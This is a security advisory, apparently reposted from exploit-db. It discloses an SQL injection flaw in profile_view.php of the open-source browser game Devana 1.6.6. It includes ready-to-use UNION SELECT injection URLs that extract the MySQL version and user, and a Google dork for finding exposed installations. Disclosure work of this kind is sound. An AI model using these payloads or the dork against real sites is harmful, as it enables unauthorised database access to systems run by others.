Devana 1.6.6 SQL Injection vulnerability

2010.07.11
Credit: Valentin
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: Devana SQL Injection vulnerability # Date: 28.03.2010 # Author: Valentin # Category: webapps/0day # Version: # Tested on: Debian lenny, Apache2, MySQL5 # CVE : # Code : :: General information :: Devana SQL injection vulnerability detected :: by Valentin Hoebel :: valentin@xenuser.org :: Product information :: Name = Devana :: Vendor = Busuioc Andrei / open source project :: Vendor Website = http://devana.eu/ :: About the product = http://sourceforge.net/projects/devana/ :: Affected versions = All, latest vulnerable version: 1.6.6 :: Google dork: "Devana is an open source project !" :: SQL Injection vulnerability Devana is an open source browser game in which the player can choose between one of three factions and build an empire. Without being logged in, you have the possibility to view the profiles of other players, file: profile_view.php. Sadly Devana doesn't check the input so SQL injection is possible. There are currently seven other browser games being listed on sourceforge.net which are based on Devana. It is possible that they suffer from the same vulnerability. Vulnerable URL http://some-cool-domain.tld/profile_view.php?id=1 Test URL http://some-cool-domain.tld/profile_view.php?id=' Exploit vulnerability, e.g. by displaying the version of the MySQL server: http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- Or by displaying the current MySQL user: http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- -------------------------------------------------------------------------------------------------------- :: Additional information :: Vendor contacted = 28.03.2010 :: Vulnerability is expected to be fixed soon. :: Solution = Upgrade to new version when it is released.

Referencje:

http://www.exploit-db.com/exploits/11922
http://secunia.com/advisories/39121
http://packetstormsecurity.org/1003-exploits/devana-sql.txt
http://osvdb.org/63278


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top